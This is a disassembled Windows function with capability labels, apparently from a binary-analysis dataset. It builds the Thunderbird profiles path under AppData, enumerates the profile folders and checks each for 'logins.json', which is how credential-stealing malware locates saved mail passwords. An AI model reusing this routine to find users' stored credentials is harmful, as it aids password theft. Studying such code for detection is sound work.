Function at 0x180096e50
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push rbp
push rbx
push r14
lea rbp, [rsp - 0x150]
sub rsp, 0x250
mov rax, qword [0x180128010]
xor rax, rsp
mov qword [rbp + 0x140], rax
mov r14, rcx
mov ecx, 0x104
call fcn.1800d6a34
mov rbx, rax
test rax, rax
je 0x18009732a
xor r9d, r9d
mov qword [rsp + 0x280], rdi
xor r8d, r8d
mov qword [rsp + 0x288], r15
xor ecx, ecx
mov qword [rsp + 0x20], rax
lea edx, [r9 + 0x1a]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xor r15d, r15d
mov qword [rbp - 0x28], 0xf
xor r8d, r8d
mov qword [rbp - 0x40], r15
lea rdx, [0x18010b500]
mov qword [rbp - 0x30], r15
lea rcx, [rbp - 0x40]
call fcn.1800c1060
mov r8, 0xffffffffffffffff
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], 0xf
inc r8
cmp byte [rbx + r8], r15b
jne 0x180096ef2
mov rdx, rbx
mov qword [rsp + 0x278], rsi
lea rcx, [rbp - 0x60]
call fcn.1800c1060
mov rcx, qword [rbp - 0x50]
movabs rdi, 0x7fffffffffffffff
mov rax, rdi
sub rax, rcx
cmp rax, 0x16
jb 0x18009734b
cmp qword [rbp - 0x48], 0x10
lea rax, str.ThunderbirdProfiles_
mov qword [rsp + 0x30], 0x16
lea r9, [rbp - 0x60]
cmovae r9, qword [rbp - 0x60]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp - 0x20]
call fcn.1800c3cb0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x180096f99
mov rcx, qword [rbp - 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180096f94
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009735d
call fcn.1800ce78c
movups xmm1, xmmword [rbp - 0x10]
mov rax, rdi
movups xmm0, xmmword [rbp - 0x20]
movq rcx, xmm1
sub rax, rcx
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm1
cmp rax, 2
jb 0x180097351
cmp qword [rbp - 8], 0x10
lea rax, [0x180116238]
mov qword [rsp + 0x30], 2
lea r9, [rbp - 0x60]
cmovae r9, qword [rbp - 0x20]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x60]
call fcn.1800c3cb0
cmp qword [rsp + 0x78], 0x10
lea rcx, [rsp + 0x60]
lea rdx, [rbp]
cmovae rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rdx, qword [rsp + 0x78]
mov rsi, rax
cmp rdx, 0x10
jb 0x18009704b
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180097046
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180097357
call fcn.1800ce78c
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], r15b
nop
test byte [rbp], 0x10
je 0x180097241
mov qword [rbp - 0x20], r15
lea rax, [rbp + 0x2c]
mov qword [rbp - 0x10], r15
mov r8, 0xffffffffffffffff
mov qword [rbp - 8], 0xf
inc r8
cmp byte [rax + r8], r15b
jne 0x180097085
lea rdx, [rbp + 0x2c]
lea rcx, [rbp - 0x20]
call fcn.1800c1060
lea rax, [rbp + 0x2c]
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], r15b
jne 0x1800970a6
mov rdx, qword [rbp - 0x50]
mov rax, rdi
sub rax, rdx
cmp rax, rcx
jb 0x180097345
cmp qword [rbp - 0x48], 0x10
lea rax, [rbp + 0x2c]
mov qword [rsp + 0x30], rcx
lea r9, [rbp - 0x60]
cmovae r9, qword [rbp - 0x60]
lea rcx, [rbp - 0x80]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
call fcn.1800c3cb0
mov r8d, 0xc
lea rdx, str.logins.json
lea rcx, [rbp - 0x80]
call fcn.1800c0730
lea rcx, [rsp + 0x40]
lea rdx, [0x180116130]
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
cmp qword [rsp + 0x58], 0x10
cmovae rcx, qword [rsp + 0x40]
call fcn.1800da3c8
test rax, rax
je 0x180097150
mov rcx, rax
call fcn.1800da458
mov bl, 1
jmp 0x180097152
xor bl, bl
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x18009718f
mov rcx, qword [rsp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009718a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180097363
call fcn.1800ce78c
mov rdx, qword [rbp - 0x68]
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], r15b
cmp rdx, 0x10
jb 0x1800971dd
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800971d8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180097363
call fcn.1800ce78c
test bl, bl
je 0x180097206
lea rax, [rbp + 0x2c]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x1800971f0
lea rdx, [rbp + 0x2c]
lea rcx, [rbp - 0x40]
call fcn.1800c1060
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x180097241
mov rcx, qword [rbp - 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009723c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009735d
call fcn.1800ce78c
lea rdx, [rbp]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x180097060
mov rcx, qword [rbp - 0x50]
mov rdx, qword [rbp - 0x30]
sub rdi, rcx
cmp rdi, rdx
jb 0x18009734b
cmp qword [rbp - 0x48], 0x10
lea r9, [rbp - 0x60]
mov qword [rsp + 0x30], rdx
lea rax, [rbp - 0x40]
cmovae r9, qword [rbp - 0x60]
cmp qword [rbp - 0x28], 0x10
cmovae rax, qword [rbp - 0x40]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov rcx, r14
call fcn.1800c3cb0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x1800972d8
mov rcx, qword [rbp - 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800972d3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009735d
call fcn.1800ce78c
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x18009730f
mov rcx, qword [rbp - 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009730a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009735d
call fcn.1800ce78c
mov rsi, qword [rsp + 0x278]
mov rax, r14
mov rdi, qword [rsp + 0x280]
mov r15, qword [rsp + 0x288]
mov rcx, qword [rbp + 0x140]
xor rcx, rsp
call fcn.1800ce4d0
add rsp, 0x250
pop r14
pop rbx
pop rbp
ret
call fcn.180088c70
int3
call fcn.180088c70
int3
call fcn.180088c70
int3
call fcn.1800dd818
int3
call fcn.1800dd818
int3
call fcn.1800dd818
int3